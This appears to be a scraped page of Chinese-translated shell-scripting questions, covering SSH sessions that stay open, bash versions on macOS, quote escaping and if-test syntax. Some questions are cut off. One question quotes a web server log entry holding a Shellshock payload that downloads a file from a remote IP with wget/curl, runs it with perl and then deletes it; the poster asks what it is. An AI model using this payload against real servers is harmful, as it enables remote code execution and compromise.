我正在通过 SSH 启动一个远程脚本,如下所示:
ssh user@ipaddress '~/my_script.sh'
Run Code Online (Sandbox Code Playgroud)
一切正常,但脚本完成后,连接不会关闭。我必须按 CTRL-C 才能断开当前连接。
我试过'~/my_script.sh'中的“exit”命令,但没用。我在“~/my_script.sh”中尝试了“注销”命令,我收到一条消息:
logout: not login shell: use exit
Run Code Online (Sandbox Code Playgroud)
...
知道如何在脚本完成后自动正确关闭 SSH 吗?
(为了澄清而修改:)这是我的脚本中的内容:
#!/bin/sh
path_sources_qas=/sources/QuickAddress/
path_qas_bin=/usr/bin/qas
umount_disque_qas()
{
# Umount du disque 'qas' s'il n'avait pas été 'umount' :
nom_disque_monte=`cat /etc/mtab | grep qas | awk '{ print $2}'`
if [ "$nom_disque_monte" != "" ]
then
echo "For safety, umount : $nom_disque_monte"
umount $nom_disque_monte
fi
}
# Umount twice (we never know if a st***d guy mounted it twice) :
umount_disque_qas
umount_disque_qas …Run Code Online (Sandbox Code Playgroud) 通常,我们只需要传递一个参数:
echo abc | cat
echo abc | cat some_file -
echo abc | cat - some_file
Run Code Online (Sandbox Code Playgroud)
有没有办法传递两个参数?就像是
{echo abc , echo xyz} | cat
cat `echo abc` `echo xyz`
Run Code Online (Sandbox Code Playgroud)
我可以先将两个结果存储在一个文件中
echo abc > file1
echo xyz > file2
cat file1 file2
Run Code Online (Sandbox Code Playgroud)
但是我可能会不小心覆盖一个文件,这是不行的。这是进入一个非交互式脚本。基本上,我需要一种方法来将两个任意命令的结果传递给cat而不写入文件。
更新:抱歉,该示例掩盖了问题。虽然{ echo abc ; echo xyz ; } | cat似乎确实有效,但输出是由于echos 而不是cat.
一个更好的例子是{ cut -f2 -d, file1; cut -f1 -d, file2; } | paste -d,它不能按预期工作。
和
file1:
a,b …Run Code Online (Sandbox Code Playgroud) bash shell-script pipe command-line-arguments bash-scripting
只是想学习一下 bash 脚本。我的旧 bash 版本:
Bash version 3.2.53(1)-release...
Run Code Online (Sandbox Code Playgroud)
我已经用自制软件在 mac os x yosemite 上更新了我的 bash:
brew update
brew install bash
Run Code Online (Sandbox Code Playgroud)
然后在终端属性中,我将标准 shell 路径从 更改/bin/bash为/usr/local/bin/bash(据我所知,这是自制软件安装更新后的 bash 的地方)。
然后我再次检查了结果(似乎一切都很好):
$ echo $BASH_VERSION
Bash version 4.0.33(0)-release...
Run Code Online (Sandbox Code Playgroud)
但是当我尝试编写一个简单的 bash 脚本时:
#!/bin/bash
echo "Bash version ${BASH_VERSION}..."
for i in {0..10..2}
do
echo "Welcome $i times"
done
Run Code Online (Sandbox Code Playgroud)
结果是:
Bash version 3.2.53(1)-release...
Welcome {0..10..2} times
Run Code Online (Sandbox Code Playgroud)
代替:
Bash version 4.0.33(0)-release...
Welcome 0 times
Welcome 2 times
Welcome 4 times
Welcome 6 times
Welcome 8 …Run Code Online (Sandbox Code Playgroud) 我是 Mac 用户,是 Windows 的新手。如何在 Windows 中执行 shell 脚本?
通常,我会保存带有扩展名的文本文件.sh并通过终端运行它。但是我怎么能在 Windows 中做到这一点呢?
我不想把它放在我的/home/myusername目录中。是否有最佳实践来存储 cronjobs 的 shell 脚本?在根级别?
我现在正在运行 ubuntu 服务器 12.04。
access.log在我的测试服务器上看到了这个:
> 173.45.100.18 - - [26/Sep/2014:07:09:53 +0200] "GET /cgi-bin/hi HTTP/1.0" 404 490 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget
> http://213.5.67.223/ji;curl -O /tmp/ji http://213.5.67.223/jurat ;
> perl /tmp/ji;rm -rf /tmp/ji;rm -rf /tmp/ji*\""
Run Code Online (Sandbox Code Playgroud)
没有一个地址与我或我们的 IP 范围(或其他任何与此相关的内容)有关 立即考虑Shellshock 安全漏洞/“bashdoor”。
实际上看起来有人试图将curl“某事”下放到服务器,然后执行该“某事”,然后使用-rf.
这是一个纯粹的测试服务器,没有任何伤害(==除了重新安装之外没有任何伤害) - 但时机非常有趣。据我回忆,以前从未见过这样的事情。
我应该担心,例如“感兴趣”吗?有没有人知道这是什么?
我不明白 bash 如何评估单引号字符串中撇号字符的转义。
下面是一个例子:
$ echo ''\''Hello World'\'''
'Hello World' # works
$ echo '\'Hello World\''
> # expects you to continue input
Run Code Online (Sandbox Code Playgroud)
我试图寻找对此的解释,但什么也得不到。bash 在这里做什么?
我有这个无法正常工作的 shell 脚本。
输入:
Server_Name=1
if [ $Server_Name=1 ]; then
echo Server Name is 1
else
echo Server Name is not 1
fi
Run Code Online (Sandbox Code Playgroud)
输出:
Server Name is 1
Run Code Online (Sandbox Code Playgroud)
但是,如果我改变Server_Name=2,输出是:
Server Name is 1
Run Code Online (Sandbox Code Playgroud)
当我更改Server_Name为 时2,我希望它说:Server Name is 2。
我知道这是if [ $Server_Name=1 ];一部分。
我如何解决它?
我有一个脚本,它在一个由空格分隔的长行上输出一个包列表。该行中包含的信息应插入到文本文件中,该文件稍后呈现给用户。
我想将长行拆分为具有定义的最大长度的多行,例如 80 个字符,但拆分应仅发生在空格处(因此,如果恰好 80 个字符之后没有空格,则某些行可能会更短,并且下一个元素将使时间更长)。
单个条目超过 80 个字符的情况可能永远不会发生,我不在乎这个条目是在中间分割还是导致单个更长的行。
基本上,它是在选择自动包装的情况下,大多数文本编辑器的表现相同,但我想从shell脚本执行它。
示例输入:
libkrb5-3 libk5crypto3 openssh-server libc-bin base-files sysvinit-utils bind9-host python-minimal python-reportbug dnsutils perl libgnutls-openssl27 mutt reportbug libdns88 perl-base whois bash libgnutls26 perl-modules libapt-inst1.5 python2.7 libexpat1 libisccc80 libgssrpc4 apt-utils procmail apt locales liblwres80 libkrb5support0 python openssh-client multiarch-support libgcrypt11 dpkg libxml2 libbind9-80 wget libapt-pkg4.12 file ssh libkadm5clnt-mit8 libisccfg82 libkadm5srv-mit8 tzdata gpgv krb5-locales python2.7-minimal libgpgme11 openssl rsyslog libkdb5-6 host sysv-rc libgssapi-krb5-2 libisc84 libc6 initscripts sysvinit libmagic1 libssl1.0.0 gnupg
Run Code Online (Sandbox Code Playgroud)
所需的示例输出:
libkrb5-3 libk5crypto3 openssh-server libc-bin base-files …Run Code Online (Sandbox Code Playgroud)